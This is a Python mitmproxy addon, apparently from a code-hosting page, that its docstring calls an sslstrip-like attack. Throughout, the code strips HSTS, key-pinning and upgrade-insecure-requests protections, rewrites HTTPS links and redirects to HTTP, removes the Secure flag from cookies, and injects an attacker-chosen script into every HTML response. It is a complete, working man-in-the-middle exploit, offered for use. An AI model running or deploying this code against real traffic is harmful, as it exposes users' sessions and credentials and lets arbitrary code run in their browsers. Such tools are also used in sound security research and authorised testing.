You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

88 lines
3.7 KiB

  1. """
  2. This script implements an sslstrip-like attack based on mitmproxy.
  3. https://moxie.org/software/sslstrip/
  4. Based on: https://github.com/mitmproxy/mitmproxy/blob/master/examples/complex/sslstrip.py
  5. """
  6. from bs4 import BeautifulSoup
  7. from mitmproxy import ctx, http
  8. import argparse, re, urllib
  9. # set of SSL/TLS capable hosts
  10. secure_hosts = set()
  11. class Injector:
  12. def __init__(self, path):
  13. self.path = path
  14. def response(self, flow: http.HTTPFlow) -> None:
  15. flow.response.headers.pop('Strict-Transport-Security', None)
  16. flow.response.headers.pop('Public-Key-Pins', None)
  17. # strip links in response body
  18. flow.response.content = flow.response.content.replace(b'https://', b'http://')
  19. # strip meta tag upgrade-insecure-requests in response body
  20. csp_meta_tag_pattern = b'<meta.*http-equiv=["\']Content-Security-Policy[\'"].*upgrade-insecure-requests.*?>'
  21. flow.response.content = re.sub(csp_meta_tag_pattern, b'', flow.response.content, flags=re.IGNORECASE)
  22. # strip links in 'Location' header
  23. if flow.response.headers.get('Location', '').startswith('https://'):
  24. location = flow.response.headers['Location']
  25. hostname = urllib.parse.urlparse(location).hostname
  26. if hostname:
  27. secure_hosts.add(hostname)
  28. flow.response.headers['Location'] = location.replace('https://', 'http://', 1)
  29. # strip upgrade-insecure-requests in Content-Security-Policy header
  30. if re.search('upgrade-insecure-requests', flow.response.headers.get('Content-Security-Policy', ''), flags=re.IGNORECASE):
  31. csp = flow.response.headers['Content-Security-Policy']
  32. flow.response.headers['Content-Security-Policy'] = re.sub('upgrade-insecure-requests[;\s]*', '', csp, flags=re.IGNORECASE)
  33. if self.path:
  34. html = BeautifulSoup(flow.response.content, "html.parser")
  35. #print(self.path)
  36. #print(flow.response.headers)
  37. if 'Content-Type' in flow.response.headers and 'text/html' in flow.response.headers['Content-Type']:
  38. #print(flow.response.headers["content-type"])
  39. script = html.new_tag(
  40. "script",
  41. src=self.path,
  42. type='application/javascript')
  43. html.body.insert(0, script)
  44. flow.response.content = str(html).encode("utf8")
  45. print("\nScript injected.\n\n")
  46. else:
  47. print("\nWrong content type. Sorry.")
  48. print(str(flow.response.headers['Content-Type']) + "\n\n")
  49. # strip secure flag from 'Set-Cookie' headers
  50. cookies = flow.response.headers.get_all('Set-Cookie')
  51. cookies = [re.sub(r';\s*secure\s*', '', s) for s in cookies]
  52. flow.response.headers.set_all('Set-Cookie', cookies)
  53. def request(self, flow):
  54. flow.request.headers.pop('If-Modified-Since', None)
  55. flow.request.headers.pop('Cache-Control', None)
  56. # do not force https redirection
  57. flow.request.headers.pop('Upgrade-Insecure-Requests', None)
  58. # proxy connections to SSL-enabled hosts
  59. if flow.request.pretty_host in secure_hosts:
  60. flow.request.scheme = 'https'
  61. flow.request.port = 443
  62. # We need to update the request destination to whatever is specified in the host header:
  63. # Having no TLS Server Name Indication from the client and just an IP address as request.host
  64. # in transparent mode, TLS server name certificate validation would fail.
  65. flow.request.host = flow.request.pretty_host
  66. def start():
  67. parser = argparse.ArgumentParser()
  68. parser.add_argument("path", type=str)
  69. args = parser.parse_args()
  70. return Injector(args.path)